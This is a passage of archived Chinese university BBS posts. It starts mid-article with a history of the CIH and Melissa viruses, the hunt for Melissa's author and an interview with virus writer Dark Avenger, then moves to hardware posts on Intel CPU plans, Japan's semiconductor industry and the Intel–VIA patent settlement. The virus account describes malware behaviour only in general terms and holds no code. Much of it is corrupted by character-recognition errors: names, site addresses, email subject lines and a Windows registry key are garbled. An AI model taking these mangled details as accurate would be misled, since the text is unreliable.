发现这个病毒，并且最近很多公司为了防范Melissa病毒都升级了他们的保护体系。 　　CIH病毒的阴影已经笼罩全球网络业，如何灭CIH，或者如何防止CIH的攻击成为了网 民关注的头等重要大事。 　　国内各杀毒软件厂商，如：瑞星、时代先锋、北信源。冠群金辰等纷纷研制生产其 最新软件产品，时代先锋、北信源、冠群金展的产品带有防火墙，可以实时监控，防毒 产品也具有杀CIH的功能。这些软件产品无疑对CIH病毒具有一定的封堵查杀作用，但仅 通过软件不足以防止住CIH的攻击。 　　身受CIH毒害的人们已经由恐慌而成愤怒，也许离彻底消灭CIH尚有一段距离，但在 各方的共同努力下，必将使CIH不再如此猖獗。 　　瘟神“梅利莎” 　　1999年3月26日，对于全世界的计算机用户来说是一个灾难的开始，美国西部时间星 期五上午8：00，一种被称为“梅利莎”刚elissa）的电脑病毒像瘟疫般开始在全球蔓延 。 　　“梅利莎”病毒源起西欧的一个色情站点新闻讨论组，第一个向NSI报告发现“梅利 莎”病毒的大客户当天就有6万台机器感染上了此种病毒。在“梅利莎”开始蔓延后的1 2－16个小时，这种病毒席卷了全球互联网络。其速度规模之大称得上举世空前。 　　但有人认为“梅利莎”的传输手段并不新鲜，但很狡猾。“你会拒绝接收来自不认 识的人的邮件，但是，这种病毒来自你信任的亲朋好友的邮件中，使人防不胜防。”这 就是“梅利莎”的诀窍。 　　微软公司也是受害者之一。其发言人称，微软的电子邮件是严格控制的，此次病毒 侵袭并未发生泄密事件。但此后包括微软公司在内的数十家跨国公司不得不关闭了他们 的邮件服务器。NAI虽然没有接到非Exchange系统受到感染的报告，但依然认为其他的系 统也极有可能被感染。美国国家基础设施保护中心（NIPC）的负责人说：“受此病毒影 响的公司数目可能已有成千上万2像微软、朗讯和英特尔这样的技术公司也在此列，并且 造成了国际影响。 　　其实“梅利莎”病毒只是一个宏病毒，隐藏在一个微软Word97格式的文件里，以附 件的方式通过电子邮件传播。邮件的主题是“ImportantMessageFr（。。xx”，在这里 xxx就是邮件发送者的姓名。邮件的内容包括两部分：第一部分是文本格式的句子：“H e。isthatd。urn。ntyouask，dfor⋯dontshowanyon，els。；－）’。第二部分是一个 名叫“list．doc”的word文件，文件的内容是互联网上的色情站点的网址，当用户在允 许运行“宏”的局部下打开这个文件，病毒首先会降低运行“宏”时安全性的设置，让 用户以后打开‘宏”时不会出现提示，然后在注册表中创建以下键： 　　“HKEY一Current－UserSwareMrosMOlllceKJls－sa？”，键值一般是“byKwyjbo” 。随后病毒会查找用户的outlook或者outlookexpress，自动地把感染的文件发送给用户 地址簿中的前50个人。当这50个人再次打入已被感染的文件时，病毒如法炮制，使受感 染人数激增。 　　美国CERT星期五下午得到关于“梅利莎”病毒的报告，组织成员连夜分析病毒的组 成并寻找病毒源。 　　CERT的管理员说：‘“我们一下子得到来自世界各地的发现该病毒的报告。我们肯 定，这将在星期一成为席卷世界计算机的大灾难。”’她将有关此病毒的信息记录下来 。 　　CERT10年前曾经有过此类记录，这是美国第2次大范围的发布计算机病毒的公告和详 尽的病毒报告。（1994年是第一次，提醒人们警惕一种允许计算机窃贼收集密码的病毒 。）美国联邦调查局和美国国家设施保护中心（NIPC）也随即发出病毒警报。 　　许多公司的技术人员放弃了他们的周末，以应付“梅利莎”可能带来的意外情况。 很快，技术人员总结出来“梅利莎”病毒的一些特征，并在因特网上公布了一些杀毒方 法。但狡猾的“梅利莎”病毒并未就此被剿灭，而是幸运地一次又一次的逃脱了法网。 正当企业用户紧急动员起来，严防“梅利莎”时，这种病毒又出现了新的变种——“疯 牛”（Madcow）。 　　这种新的“疯牛”病毒在电子邮件主题中显示的内容是“Madcoeqoke”，邮件正文 中包含有“bewareofthesPeedoftheMadcow”字样，附带的Word文件名叫“madcow．doc ”TrendMicro 反病毒公司称，这种“疯牛”病毒和“梅利莎”病毒非常相似：当用户打 开一个电子邮件中附带的Word文件时，病毒就会自动向其Outlook地址簿中的地址发送电 子邮件。虽然“疯牛”病毒一次只自动发送20封电子邮件，但它代码储存在一个Word文 件的不同部分，使其更难被侦测出来。 　　1999年的3月30日，另一种由“梅利莎”变种的“爸爸”（Papa）也出现了。这种病 毒可以挫败电子过滤器，附在微软的EXcelspreadsheet中。并可以躲开许多针对它的反 病毒软件补丁。此后又出现了W97M－Melissa等变异的病毒。 　　由于病毒以极快速度进行着自身的变异，技术人员在w＿．send防止com上发布的防 “梅利莎”病毒补丁很快就失效了。尽管病毒并不会对个人计算机本身造成损失，但是 由于这种病毒可以自动地快速复制并通过电子邮件发送，这将使大量的垃圾邮件像洪水 一样蔓延到互联网，最终邮件服务器将因不堪重负而导致死机。 　　“梅利莎”病毒惹下滔天大锅，美国联邦调查局（FBI）也组织人马全力搜捕该病毒 的作者。FBI的56个地方分局均参与这一行动。 　　美国联邦调查局有专家发现，编写“梅利莎”病毒的电子‘指纹”与两个病毒信息 网站有关。 　　1999年3月30日，与“梅利莎”病毒有牵连的病毒信息网站——Codebreakers．oyg 和Sourceof’kaos。corn被美国联邦调查局强制关闭。这两个网站使用“AIX－Fll”和 ‘“VicodinES”编写的病毒——“Shiver”和“PSD2000’中，含有和“梅利莎”病毒 一楼一样的电子指纹。而““＊u一FI广是h加b＿。卜rs病毒交换组织的成员之一，Vlc odinES”在Son。eofkaos上拥有一个分支网站。 　　此外，在“梅利莎”病毒的“SyndiC。ie”变种中，病毒的编写者还在宏代码里面 对Codebreakers，org病毒信息网站表示了感谢。 　　两个被关闭网站的网管大喊：冤枉！对联邦调查局的做法表示极大的愤慨，称自己 并没有做违法的事情，只不过向大家提供了一些有关病毒的信息。 　　3月31日，为了避免引起联邦调查局的注意，一个名叫“coderz．net”的病毒信息 网站主动关闭。 　　通过追踪具有唯一性的序列ID号，调查人员追踪到了一个网站。该网站上文件中的 电子“指纹”和被插入Word宏中“梅利莎”病毒上的电子“指纹”一模一样。所谓电子 “指纹”，又叫“媒体访问控制”地址，是一台PC机以京网卡上一个也具有惟一性的序 列ID号。那个被称之为“全球惟一识别符”（GUID）的序列ID号，包含在使用Office软 件和其它一些应用软件生成的文件中。 　　多亏了微软Office软件中那个引起争议的序列ID号（仅几周前，该序列ID号还曾经 引起保护个人隐私者的责难，认为它能够被用来追踪某一确定文件的作者），研究人员 找到了“梅利莎”病毒的编写者。两位软件工程师从“梅利莎”病毒中提取的信息看起 来和“美国在线”的一个账号及一个网站有关，这些资料也许可以使执法人员找出“梅 利莎”病毒的编写者。 　　这个被追查出来的网站属于一个电脑黑客。这个黑客是好几种病毒工具的编写者， 拥有众多个化名，包括Vi－codinESSkyRoket，johnHolmes等，其中，SkyRoket是其在“ 美国在线”上使用的用户名，也正是那个最先把含有“梅利莎”病毒的电子邮件张贴在 aft．sex 新闻组的人。 　　SkyRoket这个用户名的控制者有较长的张贴病毒史，至少有3个张贴于1997年晚些时 候的病毒采用了同样的方式。从dora文件“全球惟一识别符”中提取的“媒体访问控制 ”地址，和众多网站上注册人为VicodinES和SkyRoket所编写文件中的“媒体访问控制” 地址极其吻合，这一发现为最终抓获“梅利莎”的创造者也不例外。 　　随着调查的深入，调查人员发现，“SkyRoket”不过是一个虚拟的罪犯，这个用户 名是病毒制造者从一个“美国在线”的用户那儿偷来的。于是案情显得更加扑朔迷离。 　　跟踪这个15个月以前被输的账号，“美国在线”与国家计算机专家根据内部的一项 调查发现了使用该账号的方向是在新泽西州，终于发现了嫌疑犯的电话号码。参与此案 的联邦调查员不愿详细解释他们是如何跟踪“梅利莎”找到史密斯的电话号码的。“无 论怎么伪装，通常会留下蛛丝马迹的。 　　4月1日晚上，美国联邦和州特工人员组成的突击队将犯罪嫌疑人史密斯逮捕归案， 当时他正在伊顿敦附近的史弟家中。随后美国新泽西州举行新闻发布会宣告了这一消息 。 　　今年3O岁的史密斯曾在AT＆T的一家转包合同公司当网络程序员。史密斯是在阿伯丁 的住所炮制电子邮件病毒的，并以佛罗里达的一位脱衣女的名字将病毒命名为“梅利莎 ”（也有人称是用比尔·盖茨的妻子的名字命名的）。调查人员搜查了史密斯的家，但 是并未透露查出何物，警察从史密斯家中查封了一些厚纸板箱和公文包。美国国家计算 机分析组织负责人说，史密斯盗用了美国在线的账号在公寓制造并传播“梅利莎”病毒 。 　　虽然史密斯的被捕让人们松了一口气，但“梅利莎”事件似乎远未结束。在史密斯 被捕前，很少有人因制造电脑病毒而被美国调查当局逮捕。这次是个例外，美国联邦调 查局对已经造成巨大危害的“梅利莎”病毒事件给予了高度重视。而对史密斯的审判结 果也将直接影响今后美国乃至全球对电脑犯罪行为的打击。 　　美国国家基础设施保护中心的负责人Micha。IA．Van。表示，根据美国联邦调查局 法律规定，任何个人或团体蓄意将这种会吞噬大量网络和计算机资源的病毒传播出去并 造成了破坏，将受到5－10年的监禁处罚，并处25万美元的罚金。 　　据报道，史密斯将被指控犯有干扰国家公共通信罪、图谋干扰国家公共通信罪、试 图干扰国家公共通信罪和阴谋盗窃计算机服务罪。如果罪名成立，他有可能被处以最高 40年的监禁和48万美元的罚款。目前史密斯被保释，保释金额为10万美元。法庭将于4月 5日开庭审理此案。 　　在美国新泽西州举行的新闻发布会上，新泽西地区首席检察官认为彻底消除‘梅利 莎”病毒的影响还需要一个较长的时间，他同时指出“梅利莎”极有可能已蔓延到中国 和日本等亚洲国家。 　　国家信息产业部的赵粮博士表示：由于我国使用因特网的用户较少，到目前为止并 没有接受到“梅利莎”病毒危害的报告，信息产业部有关部门也正密切关注着这方面的 事态。 　　专家们认为由于“梅利莎”病毒有许多明显的特征，因此是可以识别的。计算机安 全专家告诫用户检查自己的注册表，并不要打开有上述特征的WOrd文档。NAI也在自己的 网站（http:w。avertlabs．corn）发布了病毒信息和病毒代码，并公布了其他计算机安 全公司病毒软件升级的地址。 　　如果你已经收到了包括上述信息的邮件，可以根据NAI的报告来谨慎处理，以防止其 他人感染同样的病毒。微软在其站点上也公布了相关信息。 　　计算机安全专家预测，如果用户处理得当，这种病毒不会有更大的危害，但当今的 互联网上，制造病毒手段之高超、传播速度之快已成为许多计算机安全专家越来越关注 的问题。组织安全专家们希望配置新工具，保护网络不受入侵，包括在其引起大面积侵 害之前自动识别并删除病毒。 　　病毒与反病毒之战 　　据粗略统计，目前全球已有4万多种计算机病毒被识别。网上传播的安全梦想已被黑 客们无情的击碎，网络上也总演着警察抓小偷、警察抓强盗的故事。同时人们对反病毒 软件也提出了更高的要求，另一个巨大的市场在引诱着人们前往，也许这是黑客们的功 劳。 　　现在，我们应该清醒地认识到，研制与传播计算机病毒也是一种犯罪，并且随着网 络化的普及这种罪行的危害性越来越大。无疑这是一种高技术的犯罪，隐蔽性强还不易 被发现。 　　在80年代的后期，为了遏止计算机病毒的蔓延，国家就成立了专门计算机病毒的防 治科研机构，众多专家、学者和有识之士纷纷地加入到了反病毒技术的研究。国内计算 机界对计算机病毒也逐渐形成了清晰的认识，反病毒的技术和意识在众人的努力下取得 了很大的进步。而此时的反病毒产品大多有一个共同特点，即基本上都是以免费赠送的 方式提供给用户。 　　90年代，伴随着市场经济大潮的涌动，一些国外的反计算机病毒软件也引入，同时 ，国内对于反病毒产品的开放也变得活跃异常。好像众多的人都一下子发现了这个反病 毒市场的巨大潜力，这样，一个真正市场意义上的反病毒技术较量技开了帷幕。 　　这场争夺反病毒市场份额的战争背后隐藏着理论上的巨大分歧，这种分歧便发展成 为旷日持久的软硬件之争。而在当时争论的焦点主要集中在以下六个方面：（1）产品的 升级与服务；（2）系统性与兼容性；（3）误报、漏报率；（4）系统优先控制权；（5 ）防拷贝，反盗版；（6）病毒防、治能力。任何一个公司，只要在当时抓住以上六个方 面之一领先于其他的公司，就一定能获得一定的市场占有率。 　　1997年，软件防病毒产品终于迎来了它的春天，从硬件的方面来看，市场份额越来 越小。相反，软件的方面，如老牌的KILL和本土KV300市场占有率直线上升，而由南京信 源公司研究、由华美星际公司以OEM方式经销的“病毒克星”也成绩不错。 　　病毒的制造和追杀本是一场智力和技术的大比武，只是随着这种“游戏”扩散到社 会之上，便发生了质的转变，于是一方成了“贼”，另一方则成了“警”。病毒的研制 和杀毒软件的研制相互之间形成水涨船高之势，目前则正处于空前激烈的较量之中。究 竟是“邪不压正”还是“道高一尺。魔高一丈”，恐怕现在还无人敢断言。 　　一个名叫“达克·埃文格”的人于1992年初向社会宣布他发明了一种“变换器”， 实质上，这是一种公然教唆进行计算机犯罪的工具，利用这种“交换器”可以设计出更 新的更难消除的“多形”病毒。更令人惊骇的是，此人竟敢向社会公开挑衅：“请注意 我的病毒变换器！它可以产生多形病毒，它随时能够以数量无限多的形式出现！” 　　虽然反计算机病毒专家迅速地消除了这一病毒，但是，他们心存担忧，这就是埃文 格的“变换器”会诱使其他人制造更多的“变形”病毒。这将产生非常严重的后果。 　　达克·埃文格究竟是谁引起了世界的关注，人们除知道他是保加利亚人外，其它的 一无所知。还有的人怀疑埃文格不是一个人，而是一个病毒程序炮制团伙。不过，埃文 格好像为了证明自己确实是一个人，并且是一个举世无双的‘请自人”、“天才”，终 于于1992年5月的一天接受了英国《国际病毒新闻》杂志的采访。下面是一些有关对话的 摘录： 　　问：“听说反计算机病毒专家们对你所研制的‘变换器’感到头痛，请问自己对此 如何评价？” 　　答：“是的，我为此而感到高兴。因为这说明我已经找到了一种新的想法和做法， 虽然，目前我的‘变换器’还远非完美无缺，但是事实说明它已经很不错了。” 　　问：“根据专家们介绍，计算机病毒大体分为两种，一种是跟人开玩笑，或显示什 么政治声明，另一种是销毁数据的病毒。请问你制造的病毒属于哪一种？” 　　答：“当然属于后一种，为什么要开玩笑呢，我的目的就是销毁数据。” 　　问：“有人认为，实际上‘埃文格’就是你对这种病毒的命名，能不能给予确认？ ” 　　答：“也许是吧，我可没有否定。” 　　问：“那么，你是为什么要这样做呢？” 　　答：“销毁数据是一件非常令人愉快的事。” 　　问：‘那就是说，你喜欢破坏别人的工作？” 　　答：“这话说得不对，我并没有破坏别人的工作，我只是特别喜欢毁掉别人工作的 成果。” 　　问：“听说你曾在一封信中，嘲笑过反计算机病毒专家？” 　　答：“怎么能叫作嘲笑呢？事实上我早就发现，大多数所谓的反病毒专家实在是笨 得很，一望而知的东西，他们都看不出来！” 　　问：“我们知道，保加利亚没有保护计算机软件的版权法，不鼓励编制人员制造软 件。而且我们也知道，长期以来，保加利亚软件编制人员的收入充其量只相当于美国编 制人员收入的百分之一，请问你目前的行为是否与此有什么关系？”’ 　　答：“我想，我已经没有必要回答这个问题，因为我的行为已经回答得够清楚了。 ” 　　对于达克·埃文格的坦率，也许世人都会感到震惊和意外，同时也使我们陷入了深 深的沉思之中，对于这类人，我们应该怎样给他们定位？是罪人还是怀才不遇的才子？ 　　经历了这样一些事件后，善良的人们开始成熟起来，勇敢地面对现实。除了不屈不 挠地战斗下去，人们是找不到其它的灵丹妙药的。 　　“道”与“魔”的较量还在如火如荼的进行着。人们不幸地打开了盖有所罗门印的 瓶子，放出了魔鬼，能否也如故事中所讲的一样把魔鬼再装到瓶子中去，我们不得而知 。不过，我们仍坚信一个亘古不变的信念：正义必将最终战胜邪恶。计算机和互联网世 界终有一天会变得干净和清凉的！ -- Soso:"I hate AWP!" _ , __ __ __ __ ,_/\\_~ 0_\ ___ -- / \- ' ''-, ---- --- ,, ___ ___ '*31m Everything I do,I do it for you! -( .@ .)----( .@ .)---' - - ※ 来源:·日月神教 bbs.黑木崖.com·[FROM:万梅山庄] ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.83.100.111] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
发信人: Longhorn (Longhorn), 信区: Hardware 标 题: 未来主流CPU何去何从---Intel:我“芯”依旧（续) 发信站: 日月光华 (2002年07月02日05:17:51 星期二), 站内信件 为了进一步抢占低端市场，AMD决定让Duron自生自灭，转而用低主频的Athlon XP替代 这部分份额；而Intel虽然没有遗弃Celeron，但已完全改变其核心，推出了基于Willam ette核心的Celeron处理器，从1.7GHz的主频起跳。对于DIYer来讲这并不是好消息，因 为又要花钱更换主板了！但对Intel来讲，这样既可以让0.18微米的生产线发挥余热，又 可进一步提升Celeron的频率，可谓一石二鸟。不过新Celeron 128KB 的L2 Cache仅是其 前辈Tualatin核心Celeron III的一半，性能上处于一定劣势，它只能通过高主频来弥补 这些缺陷；并且因为Tualatin核心采用0.13微米工艺，功耗（发热量）相比较而言要小 很多。若非SDRAM不足的带宽限制了Celeron III的发挥，Intel推出新核心的Celeron处 理器可谓一无是处。还记得Tualatin核心在推出之初便受到Intel市场策略的限制而无用 武之地；如今Intel的此番举动分明要将Tualatin核心的处理器逐出桌面市场，看来今后 我们只能在利润更为丰厚的移动处理器和入门级服务器市场中看到Tualatin的身影了。 Intel经过这拨调整之后，桌面市场中的处理器将完全基于各类Pentium 4核心；并且有 理由相信Willamette核心不会再存活很久，Celeron处理器到2GHz左右应该也会转向Nor thwood核心。 在移动处理器市场中，Intel的调整和新品推出将有更大的手笔。前段时间才推出的Pen tium 4-M，近期不断降价，为推出更高频率的版本留出了空间，下一个季度预计能突破 2GHz大关。同时为了解决目前Pentium 4-M处理器的"吃电"能力，Intel将在明年第一季 度推出代号为Banias的处理器，据称能耗将比Pentium 4-M低10W。与之配套的名为Odem 和Montara GM芯片组将分别针对一般和微型笔记本市场。Banias起始频率为1.40GHz，而 后将陆续推出低压和超低压版本，以期替代Tualatin核心涵盖笔记本CPU市场的整个分块 。 笔记本Celeron也将有进一步的变化--和桌面Celeron处理器一样推出新核心的版本。最 后一款Tualatin核心的笔记本Celeron将是主频为1.4GHz的版本，之后将直接迁移到Nor thwood核心，推出之初为1.6和1.7GHz。但低压和超低压版本的笔记本Celeron在一段时 间内仍将采用Tualatin核心。 上文提到了AMD的Opteron，所以在Intel的故事临近尾声的时候，顺便也提一下Intel的 64位处理器未来的进展。随着"Itanium2"（Mckinley）名号的正式亮相，Intel的IA-64 架构有了新鲜血液。Mckinley体积比较庞大，采用0.18微米工艺制造，拥有0.5－2MB的 L3 Cache。今年夏天，Intel还将对其进一步细分，推出名为Deerfield和Madison的处理 器。它们都将采用0.13微米制造，分别针对双路和四路服务器市场。同时，未来我们还 将看到使用0.09微米工艺，并且兼容于Mckinley平台的下一代IA-64处理器--Montecito 。 -- ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.83.6.1]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: gyj (格格巫), 信区: Hardware 标 题: 半导体大国苏醒 发信站: 日月光华 (2003年02月15日13:08:37 星期六), 站内信件 　　日本半导体产业近期好消息接连不断：去年12月在国际电子器件会议(IEDM)上，东 芝和索尼公司宣布开发出了65纳米线宽的集成有DRAM的CMOS型单芯片系统；NTT则宣布成 功地开发了1 00G bps的光通信InP集成电路，率先突破100Gbps大关。刚进入2003年，东 芝公司就宣布从今年4月起，将率先批量生产90纳米线宽的半导体器件。NEC和富士通公 司也计划从9月开始批量生产90纳米线宽的半导体器件。如上好消息不断，难道连年低迷 的日本半导体业已经开始复兴了吗？ 　　从上世纪60年代日本经济开始起飞至80年代后期，日本曾占有世界半导体市场50%的 市场份额，被称为“半导体王国”。有两件事特别值得一提。一是江崎玲於奈以隧道二 极管的发明获得了诺贝尔物理奖。二是日本厂商团结奋斗，在80年代下半期，将美国英 特尔公司挤出了DRAM市场。但近年来，日本半导体业连年亏损，在世界半导体业的市场 份额不断降低。日本最大的半导体厂商东芝公司在世界上的排名也不断下降。2002年东 芝被韩国三星公司超过，降到世界第三位。其他日本半导体厂商在世界市场上的排名也 持续走低，三菱和富士通公司已被挤出全球10大半导体厂商排行榜。面对目前的衰况， 日本半导体产业界当然不甘落后，日本政府、企业与科研机构正携手重振半导体业。 　　抢先半步 　　刚进入2003年，东芝就宣布，从2003年4月起，将在世界上率先批量生产90纳米线宽 的半导体器件。NEC和富士通也计划从2003年9月起，批量生产90纳米线宽的半导体器件 。 　　90纳米线宽的半导体器件将比目前世界上最先进的半导体器件的集成度提高一倍。 即半导体器件的体积仅为0.13微米工艺生产的半导体器件的一半左右。此外，器件的运 算速度提高2倍，器件本身的功耗可减少40%。 　　这次东芝将在其大分县的工厂生产90纳米线宽器件，月产能力为1万个，主要用于数 字家电和家用游戏机。 　　NEC则计划在2003年内生产价值40亿日元的90纳米线宽的计算机系统芯片，具高级运 算能力，主要用于数字家电。至2005年，销售额可望达到250亿日元。富士通计划从2003 年9月在东京郊区批量生产用于高性能计算机的集成系统芯片。 　　目前日本各公司率先在老厂房中装备适应90纳米线宽技术的光刻机和掩膜机等设备 ；2004年将陆续建起新的生产90纳米线宽器件的全新生产线。 　　日本厂商之所以紧锣密鼓地率先批量生产90纳米线宽的半导体器件，是因为不愿意 落后于世界潮流。英特尔和三星准备于2003年夏天开始批量生产90纳米线宽的半导体器 件。我国台湾省的台积电和联华电子等公司也在跃跃欲试。东芝率先宣布90纳米线宽器 件的批量投产，就是为了先于美、韩，圈定世界市场上的顾客。 　　让日本半导体厂商坐不住的还有IBM和AMD。2003年1月8日，这两家公司宣布，他们 将合作研究和开发更新一代的半导体器件生产工艺，即65纳米线宽的半导体生产技术。 　　立足技术前沿 　　日本生产半导体的厂商，除了东芝、NEC、日立、三菱和富士通前五大家外，还有松 下、夏普等共十余家。早在1999年，这些主要半导体生产商就联合建立了日本半导体业 门户网站。通过这一网站，合作搜集全球半导体厂商的研发信息，互相交换各自的半导 体技术。除此之外，由日本工业技术研究院联合东芝和NEC等大型半导体厂商的科研力量 ，成立了日本跨公司的半导体技术研究机构，开展了先进半导体技术的研究。在日本政 府2001年发布的“e-Japan”战略计划中，明确把半导体技术的研发作为支撑信息业的基 础技术，而给予重点支持。日本官方明确指出，在信息技术上要推动国立科研机构和民 间企业研究部门的技术研究和开发，要强化企业、大学和官方的合作，要改进研究和开 发的体系结构，从而在战略上强化日本信息业的技术实力。日本官方提倡，根据企业、 大学和政府的不同职能及研究机构的特点，促进相互之间的取长补短，有机地进行合作 。促使产业界与国立研究机构在研究开发上达成共识，建立起相应的合作机构，并在这 一基础上，建立起竞争性的研究开发环境。通过政府提供的竞争性的研究资金，建立起 科研机构内部的竞争性环境，将竞争引入到研究项目中，以便最大限度地发挥个人的主 观能动性。在半导体技术的研发上，日本半导体业正是遵循上述方针，集中了有限的人 力、物力，整体性地提高了日本的科研水平。 　　日本大型半导体企业与官方科研机构曾先后推出“明日”计划及其后续计划。明日 计划是以70纳米线宽半导体技术为研究目标，后续计划则是以50纳米线宽半导体技术为 研究目标。后续计划除了有上面提到的日本5大半导体厂商外，还吸收了松下、夏普等厂 商参加。 　　提高半导体集成度，关键的设备是光刻机。日本佳能和尼康在光刻机的开发和生产 上在日本居领先地位。尼康在多年技术积累的基础上，应用上述研究计划的成果，在超 紫外线(EUV)光刻技术上获得了突破性进展，为日本半导体业开发新一代集成电路制造技 术立下了汗马功劳。 　　日本目前和近一段时间研究开发的新器件和新工艺有： 　　●NEC和东芝从2002年秋开始，共同开发磁随机存储器MRAM，预计2005年大批量生产 ，这种MRAM存储器，掉电后可利用磁保持数据； 　　●定于2003年底实用化的蓝宝石(Sapphire)衬底技术，是在绝缘性好的衬底上，一 层层堆积硅，从而形成多层电路； 　　●2004年可实用化的畸变硅技术，是将硅原子之间的距离按自然状态排布，从而使 电子流可更好地流动的技术； 　　●2005年后可实用化的碳纳米管技术，可用于制造微小晶体管和极细的引线； 　　●计划2008年实用化的人造金刚石半导体，可代替硅，可制成散热性好及电子释放 性好的器件。 　　对于2003年正式投入批量生产的90纳米线宽的半导体器件，日本媒体自豪地称，东 芝拥有世界上最成熟的生产技术。2002年12月中旬在旧金山召开的国际电子器件会议(IE DM)上，东芝和索尼联合发表了论文，宣布他们已开发出了65纳米线宽的集成有DRAM的CM OS型单芯片系统(即系统芯片)，可用于宽带大容量通信。该器件的晶体管开关速度被称 为世界最快，集成在其中的DRAM单元(原胞)世界最小，集成在内的SRAM单元也是世界最 小。该器件的高速开关晶体管的栅极长度为30纳米，制造工艺采用了适于批量生产的技 术。这些都被称为世界领先。在同一国际会议上，日本NTT宣布成功开发了100Gbps的光 通信InP集成电路,在世界上领先突破100Gbps大关。由此，可看出日本半导体业的技术实 力。 　　整合与调整并举 　　半导体业是个高投入的产业，号称“吞金虫”。新建一条0.13微米的生产线，动辄 上10亿美元。对于连年亏损的日本半导体业，超过10亿美元的投资，绝非一家企业可以 承担的，只有联合才是惟一的出路。从2000年起，日本半导体企业开始了前所未有的产 业整合。在计算机内存芯片方面，先是NEC和日立各出资一半成立了Elpida公司，后来三 菱电机也决定加入。这样Elpida就成了日本专门生产内存芯片DRAM的惟一一家公司。在 集成系统芯片上，日立和三菱成立了专门的合资公司，统一了双方的半导体业务。东芝 和富士通联合索尼合作开发和生产了系统芯片。 　　对于严重亏损的存储器生产，已先后有富士通、三菱和东芝等公司放弃了DRAM的制 造。东芝将传统的DRAM业务转卖给了美国Micro技术公司。Elpida公司委托上海中芯国际 进行0.13微米的DRAM生产。东芝放弃DRAM生产后，在存储器上将精力集中在快擦写存储 器的生产上。东芝2003年将投资150亿日元(约合1.2亿美元)，将快擦写的存储器的产量 在2005年前增加40%以上。通过这一计划的执行，东芝快擦写存储器的销售额，可从2001 年的650亿日元增至2004年的2000亿日元(约合16.7亿美元)。东芝从快擦写存储器中的获 利，可支持其2002年12月开始兴建的300毫米硅圆片的生产线。 　　此外，东芝从2002年起在世界上率先生产新型快擦写存储器。其采用“多值技术” ，使相同的芯片体积能存储的容量翻番，而制造成本仅增30%。目前东芝采用“多值技术 ”的快擦写存储器已由总产量的20%提高至50%。从2003年7月起，NEC也将大批量生产这 种存储器。 　　冲电气则采用绝缘体硅技术生产功率消耗减半的集成电路。日立和三菱电机也将生 产这种集成电路。 　　日本从原占主导地位的存储器转型后，改产在技术上有优势，又有广阔销路的集成 系统芯片半导体。技术的进步，为芯片提高处理能力，加快运行速度和减小体积、降低 功耗创造了条件。与此同时，这些高附加值的产品又为日本半导体公司扭亏为盈打下了 坚实的基础。 　　最后，日本半导体厂商计划加强半导体器件的设计，而将制造逐步委托给东亚地区 的半导体厂，其中包括祖国大陆和我国台湾地区的厂商。近日有消息称，日本NEC准备投 资数千万美元，加强NEC与上海华虹的合资。该公司的800毫米硅圆片的月产量将由目前 的月产两万片，增至月产3.2万片。 　　重振雄风需时日 　　在全球信息产业不景气和网络泡沫破灭的大形势下，加之受本国已10年停滞不前的 经济的影响，日本半导体业要重振雄风尚需时日。 　　日本最擅长DRAM存储器的生产，但生产成本高，成为日本半导体业亏损的主要原因 。面对三星的激烈竞争，日本厂商纷纷败下阵来，目前只有日立和NEC两公司联合成立的 Elpida勉强支撑。日本的5大半导体厂商，都不同程度地患有大企业病，巨额亏损使他们 在半导体设备的投资上都裹足不前。面对全球IT业的不景气和通信泡沫，痛下决心，进 行根本性变革，才是日本半导体业的出路。 　　日本半导体业总结自己近年的教训时认识到，1986年至1991年日本超出半导体发明 国——美国而称雄世界半导体市场时，不过是在生产技术上超过美国。当时繁荣的假象 ，使日本人产生了全面超过美国的错觉。面对后起之秀韩国和我国台湾厂商的激烈竞争 ，他们决心在保持研究和开发优势的同时，形成适应多品种、小批量、可快速投产的灵 活的生产格局。为此，日本正开发三维立体化的半导体生产设备，使设备体积缩小至五 分之一以下。 　　此外，在生产线中，可采用阶段式生产方式。只要更换原料气体，就可连续处理不 同的工艺流程。在采用的工艺中，代替目前的超过1000℃高温，采用只需500℃以下温度 的、反应性良好的、可进行激烈(radical)反应的新工艺。这种工艺的流片速度可提高10 倍，成本只为原来的1/10。 　　必须清醒地看到，日本半导体业，无论是目前暂时领先的“多值技术”快擦写存储 器，还是90纳米线宽的批量生产技术，紧随其后的英特尔和三星，距其只有一步之遥。 日本的优势并不是很明显。 　　日本半导体业呼吁，日本政府应进一步加大对半导体业的税收优惠政策，支持企业 减少投资风险。对于尚处于困境中的日本半导体业，复兴之路还很长。 -- 在那山的那面，海的那面，有一群格格巫�I。 他们活泼又聪明，他们调皮又灵敏。 他们自由自在生活在那绿色的大森林，他们善良勇敢相互都关心。 噢可爱的格格巫�I，噢可爱的格格巫�I。 他们齐心合力开动脑筋斗败了蓝精灵，他们唱歌跳舞快乐多欢欣。 [CHORUS] ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.85.7.7] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: gyj (格格巫), 信区: Hardware 标 题: Intel与威盛就侵犯专利官司已达成和解 发信站: 日月光华 (2003年04月10日01:53:16 星期四), 站内信件 全球芯片大厂英特尔与台湾芯片组制造大厂威盛电子周一表示，双方已就侵犯专利官司 达成和解!该项协议的财务内容并未公布，而协议已解决11项悬而未决的官司，共牵涉五 个国家的27项专利。此外，两公司亦达成10年的交叉授权协议。 英特尔将可在部分授权专利中收取使用费，而该公司也已同意暂时不提出其它的侵犯专 利官司。英特尔公司人士马尔罗伊(Chuck Mulloy)说：“英特尔相信他们是以授权智能 财产来换取公平价值。这可以使两公司和平解决专利的纷争。”而这项授权协议并不适 用于威盛所投资的S3 Graphics。 英特尔在2001年9月控告威盛侵犯其专利，而威盛亦提出反控，称英特尔的微处理器侵犯 其专利。威盛的专利系于1999年并购集成电路商IDT其下Centaur分支时所取得。威盛还 指控英特尔欲透过技术授权条款来限制竞争力，因此没有资格执行其专利权。随后，英 特尔股价周一收高0.3美元或1.76%，报17.35美元。 -- 格格巫 从现在开始，我就不疼你，不宠你，尽量骗你，答应你的每一件事情我都不去做， 对你讲的每一句话都是假话，欺负你，骂你，不相信你，有人欺负你，我会第一时间 出来帮他，你开心的时候我会当没看见，你不开心，我会哄得你更不开心，永远觉得你 不漂亮，做梦决不梦见你，在我的心里，没有你! ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 10.85.7.7] 